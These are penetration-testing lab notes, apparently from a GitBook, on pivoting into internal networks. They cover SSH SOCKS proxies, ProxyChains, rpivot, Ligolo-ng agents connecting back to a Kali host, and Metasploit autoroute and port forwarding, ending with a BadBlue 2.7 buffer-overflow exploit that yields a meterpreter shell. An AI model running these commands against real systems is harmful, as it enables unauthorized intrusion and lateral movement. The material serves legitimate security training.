# Pivoting

You have access to a machine. That has a second interface.

### ProxyChains

We can use the following command to check the open ports in listening mode.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F3A2D4eNY3XeqguJryvLe%2FScreenshot_3.png?alt=media&#x26;token=0ee0eca9-4cef-4eb9-b91e-b6a9a3ecb089" alt=""><figcaption></figcaption></figure>

Then we can actually establish a ssh proxy

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F6LHA8T9O92YjP80zuczz%2FScreenshot_4.png?alt=media&#x26;token=ef52b8e6-e95e-4b29-8469-4f4471f51274" alt=""><figcaption></figcaption></figure>

```
ssh -f -N -D 9050 -i pivot root@10.10.155.5
```

<table><thead><tr><th width="174.60003662109375">Component</th><th>Description</th></tr></thead><tbody><tr><td><code>ssh</code></td><td>Secure Shell client, used to connect securely to another machine.</td></tr><tr><td><code>-f</code></td><td>Requests ssh to go into the background just before command execution. Useful for background tasks.</td></tr><tr><td><code>-N</code></td><td>Tells ssh <strong>not to execute any command</strong> on the remote host (used just for port forwarding).</td></tr><tr><td><code>-D 9050</code></td><td>Sets up a <strong>SOCKS proxy</strong> on <strong>local port 9050</strong>. This means your local apps can use this as a proxy to tunnel traffic through the SSH connection.</td></tr><tr><td><code>-i pivot</code></td><td>Specifies the <strong>private key file</strong> named <code>pivot</code> to use for authentication.</td></tr><tr><td><code>root@10.10.155.5</code></td><td>Connects as the <code>root</code> user to the host <code>10.10.155.5</code>.</td></tr></tbody></table>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FyOPCLPwXD2aM3te7p07F%2Fimage.png?alt=media&#x26;token=a4bdce5a-4ae4-47cc-9998-011bd76f5127" alt=""><figcaption></figcaption></figure>

We need to edit this Proxychains file

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FDxw0cOEPaZycmvYYMepv%2FScreenshot_5.png?alt=media&#x26;token=60765296-3471-4962-8ce1-108a33604223" alt=""><figcaption></figcaption></figure>

add the port

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FFNDXb4rN823vyvaOKOr0%2FScreenshot_6.png?alt=media&#x26;token=b95d2237-e446-4191-8bfd-46092b5cea34" alt=""><figcaption></figcaption></figure>

Also comment out the DNS line

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FgvqAT2FTJpRLzB2SlWZw%2FScreenshot_7.png?alt=media&#x26;token=95d22b9f-10fd-45eb-b64e-ca8afc485fd4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FqTo7Nh3q0ECr08KXA1Kn%2Fimage.png?alt=media&#x26;token=7cbde17e-125a-4808-86e6-16ee42b3b9c0" alt=""><figcaption></figcaption></figure>

Now we can use it to run commands through it.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FRUuDGE3tHy8yHYcawX0Z%2FScreenshot_8.png?alt=media&#x26;token=d879ad0b-96f7-457a-b5ce-5a0f3132624d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FbxHfvrxBGwn2jS3RQMhp%2Fimage.png?alt=media&#x26;token=17f2191c-6700-42eb-8aa5-cb2883124c54" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FDZViDiBp3UqtI8BzuzIl%2Fimage.png?alt=media&#x26;token=b6dd537d-6bcd-4f20-a8cc-530a6835b445" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FrvZDDQD7DDs5XTYbRJiE%2FScreenshot_10.png?alt=media&#x26;token=457de1b5-49ed-4c95-b904-5307f40cbb8c" alt=""><figcaption></figcaption></figure>

### Sshuttle

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fd7IQYeFzEc5Bhgeu7AkS%2Fimage.png?alt=media&#x26;token=1a5277ad-0564-4514-8d65-0e2197863aa1" alt=""><figcaption></figcaption></figure>

### Rpivot

If we have access to a machine but we do not have credentials. We need python2 on both machines.

{% embed url="<https://github.com/klsecservices/rpivot>" %}

Start server in kali

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FRho6CzDYE7MGZMP2tWMe%2Fimage.png?alt=media&#x26;token=579b4ae2-bbd9-4f41-9122-ef6dd97303c3" alt=""><figcaption></figcaption></figure>

Now connect back to server

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F2iB3avOFnKXEar2b2O0e%2Fimage.png?alt=media&#x26;token=55393733-a179-4ea3-b2b4-dce0cef4accc" alt=""><figcaption></figcaption></figure>

Now we can do our work with proxychains

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FPQ8RTCYRy5vBIFf2LMdV%2Fimage.png?alt=media&#x26;token=87172202-1f4c-4485-a8ba-3d1937d76051" alt=""><figcaption></figcaption></figure>

### Chisel

### Ligolo

{% embed url="<https://arth0s.medium.com/ligolo-ng-pivoting-reverse-shells-and-file-transfers-6bfb54593fa5>" %}

{% embed url="<https://www.stationx.net/how-to-use-ligolo-ng/>" %}
Updated Tutorial
{% endembed %}

{% embed url="<https://www.kali.org/tools/ligolo-ng/>" %}

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

First install on kali linux

```
sudo apt install ligolo-ng
```

You need the agent from github repo

```
https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
```

Now uncompress it

```
tar -xvzf ligolo-ng_agent_0.8.2_darwin_amd64.tar.gz
```

We can now use SCP to transfer that

```
scp agent privilege@192.168.80.10:/home/privilege
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FH6VSrvcIUkRt8XqRXpiJ%2Fimage.png?alt=media&#x26;token=76e12684-f82c-4a58-b409-7659807f3a8f" alt=""><figcaption></figcaption></figure>

Before running the agent on the compromised host, you must set up the proxy on Kali.&#x20;

The first step is to create the TUN interface using the following commands. (for kali user)

```
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FvhdVYC57Ugao8twMmWp2%2Fimage.png?alt=media&#x26;token=68ad283f-1199-449c-8394-423e1b8519a0" alt=""><figcaption></figcaption></figure>

This will create a new TUN interface named ligolo and bring it up. The TUN interface acts as a virtual network interface, allowing Ligolo-ng to route network traffic.

Now lets setup proxy

To start our proxy with the self-cert option, enter the following command:

```
ligolo-proxy -selfcert
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FkNmlCmRooDSpuTWwuk5c%2Fimage.png?alt=media&#x26;token=18f32486-dfd8-4011-90ac-46f5db46903d" alt=""><figcaption></figcaption></figure>

Now we need to connect back the agent

Starting the agent is simple. Simply start the agent from the folder you saved it to. If you're using Linux, ensure it's executable using the chmod +x command. Then, to start the agent and connect it to the Ligolo-ng proxy, run the following command:

```
./agent -connect 10.10.200.46:11601 -ignore-cert
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Flb1K2qBRT8kWpl0CrQYB%2Fimage.png?alt=media&#x26;token=37b35d8d-1046-4f4d-aed4-95c7119fcf5d" alt=""><figcaption></figcaption></figure>

Once the agent has joined, you’ll see a confirmation message on the proxy screen.&#x20;

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FxcbJDxVCgL2TInXPBe1w%2Fimage.png?alt=media&#x26;token=2337721b-a8da-4c30-9e29-4575792bc478" alt=""><figcaption></figcaption></figure>

#### Tunnel Setup

Lastly, before interacting with the internal network, we must set up the tunnel and configure the route to establish a connection.

Let’s run the “session” command, choose our session, and hit enter to interact with our jumpbox (Ubuntu).&#x20;

```
session
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F42rtrETCqQnvevpENAlD%2Fimage.png?alt=media&#x26;token=89004b9b-8470-49b5-a918-8f6ab339fb8d" alt=""><figcaption></figcaption></figure>

From here, we can run “ifconfig” to verify the network interfaces on the connected agent.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FTItCJYTEOI7dJULzjJK5%2Fimage.png?alt=media&#x26;token=39ad8c8c-d0c0-49c6-b415-efc3daaea8be" alt=""><figcaption></figcaption></figure>

Our next step is to add an entry to the routing table so Ligolo can route traffic through the tunnel and reach the target network. To do this, we can use the command:

```
sudo ip route del 192.168.98.0/24
sudo ip route add 192.168.98.0/24 dev ligolo
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FxbytIahwOaL3HZDMY18T%2Fimage.png?alt=media&#x26;token=db574eda-89e3-4068-8bb1-33df72879852" alt=""><figcaption></figcaption></figure>

Next, you’ll need to start the tunnel and go to the jump box, which you can do by simply entering “start.”

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FDQvlUpsxb0A0MzqamSeM%2Fimage.png?alt=media&#x26;token=96886ca8-c187-4e13-8e94-288c0e3bb4da" alt=""><figcaption></figcaption></figure>

From here, you can run any tool from Kali to interact with the compromised internal network as if you were directly connected to it.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FNaWj4EwHiFBkobDto7pg%2Fimage.png?alt=media&#x26;token=86b0ef48-8f82-411d-b2ee-ee65c181ae9d" alt=""><figcaption></figcaption></figure>

### Proxychains through Meterpreter

```
run autoroute -s 10.0.28.125/20
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FqIRem7JYKBvDdBvTbTdJ%2Fimage.png?alt=media&#x26;token=0ad55e5d-f1d8-4b8e-bd45-889d915bf6cd" alt=""><figcaption></figcaption></figure>

We have successfully added the route to access the demo1.ine.local machine.

Now, let's start the socks proxy server to access the pivot system on the attacker's machine using the proxychains tool.

First start the `socks4a` server using the Metasploit module.

**Socks4a Proxy Server:** This module provides a socks4a proxy server with built-in Metasploit routing to relay connections. Source:: \[<https://www.rapid7.com/db/modules/auxiliary/server/socks4a/>]

**Note:** The proxychains should have configured with the following parameters (at the end of /etc/proxychains4.conf):

```
cat /etc/proxychains4.conf
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FyvbMNW9wybQPptuyc9zy%2Fimage.png?alt=media&#x26;token=33cdae12-24f9-4dcd-a8b9-5c4fe769c75d" alt=""><figcaption></figcaption></figure>

We can notice, socks4 port is 9050.

Now, let's run the Metasploit socks proxy auxiliary server module on port 9050.

```
background
use auxiliary/server/socks_proxy
show options
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FHm8x4gL40mSEOxR4dULT%2Fimage.png?alt=media&#x26;token=635c4ba8-fb85-4a4a-8fd9-4d23e1855725" alt=""><figcaption></figcaption></figure>

We notice that SRVPORT is 1080, and VERSION is 5 mentioned in the module options. But, we need to set the port to 9050 and the version to 4a. Let's change both the values then run the server.

```
set SRVPORT 9050
set VERSION 4a 
exploit
jobs
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FD8ITi7XytQ6xeSChoIZO%2Fimage.png?alt=media&#x26;token=b82d7313-a3a2-49b8-ada4-7f95ea57548c" alt=""><figcaption></figcaption></figure>

We can notice that the server is running perfectly.

**Step 16:** Now, let's run nmap with proxychains to identify SMB port (445) on the pivot machine, i.e. `demo1.ine.local`

We could also specify multiple ports. But, in this case, we are only interested in SMB service.

```
proxychains nmap demo1.ine.local -sT -Pn -sV -p 445
```

### Pivoting through port forwading on Metasploit

We have successfully exploited the target vulnerable application (hfs) and received a meterpreter shell. Check target machine IP Address.

```
ipconfig
```

<figure><img src="https://assets.ine.com/lab/learningpath/c376d54153e49e64c3d148d443851c6f4a4b714608c52e249c32c985408a56d3.jpg" alt=""><figcaption></figcaption></figure>

We can observe, there is only one network adapter and we have two machine IP addresses.

But, we cannot access “demo2.ine.local” directly from the attacker’s machine.

We will add a route and then we will run an auxiliary port scanner module on the second victim machine to discover a host and open ports.

```
run autoroute -s 10.0.19.0/20
```

<figure><img src="https://assets.ine.com/lab/learningpath/00145f3ceb1c1cc5bd57652a83a196aed1d9c5c3e37da6dda43b7088a77f0c59.jpg" alt=""><figcaption></figcaption></figure>

Running the port scanner on the second machine.

```
background
use auxiliary/scanner/portscan/tcp
set RHOSTS demo2.ine.local
set PORTS 1-100
exploit
```

<figure><img src="https://assets.ine.com/lab/learningpath/b7279b92812db9ed77784bd59c612538e3fb8154b8a535146c917eb15f343265.jpg" alt=""><figcaption></figcaption></figure>

We have discovered port 80 on the pivot machine. Now, we will forward the remote port 80 to local port 1234 and grab the banner using Nmap

```
sessions -i 1
portfwd add -l 1234 -p 80 -r <IP Address of demo2.ine.local>
portfwd list
```

**Note:** You can use the ping utility  to find the IP address of the demo2.ine.local machine.

<figure><img src="https://assets.ine.com/lab/learningpath/f446a41a09fcd0f1054031e6d217bb28e6c3503c984dfbca065dc1dbb2cdf22c.jpg" alt=""><figcaption></figcaption></figure>

We have forwarded the port, now use Nmap to find the running application name and version.

**Note:** Do not close msfconsole.

```
nmap -sV -sS -p 1234 localhost
```

<figure><img src="https://assets.ine.com/lab/learningpath/08c207fc9d9620e100ccd07307416acc770cc2d1be397b8814d70d90d75ba346.jpg" alt=""><figcaption></figcaption></figure>

The machine is running BadBlue HTTPd 2.7, a Windows-based web server. We will search the exploit module for badblue 2.7 using searchsploit.

```
searchsploit badblue 2.7
```

<figure><img src="https://assets.ine.com/lab/learningpath/48557f93bdfc62933f064077387f713b80fffdab30c956089067a827f5f8b068.jpg" alt=""><figcaption></figcaption></figure>

There is a Metasploit module for badblue server. We will use PassThu remote buffer overflow Metasploit module to exploit the target.

```
background
use exploit/windows/http/badblue_passthru
set PAYLOAD windows/meterpreter/bind_tcp
set RHOSTS demo2.ine.local
exploit
```

<figure><img src="https://assets.ine.com/lab/learningpath/88d1e5533fb31390817a9c070b47214fe49b08844577ec7b84633dc55b7fcaff.jpg" alt=""><figcaption></figcaption></figure>

We have successfully exploited the target vulnerable application (badblue) and received a meterpreter shell.
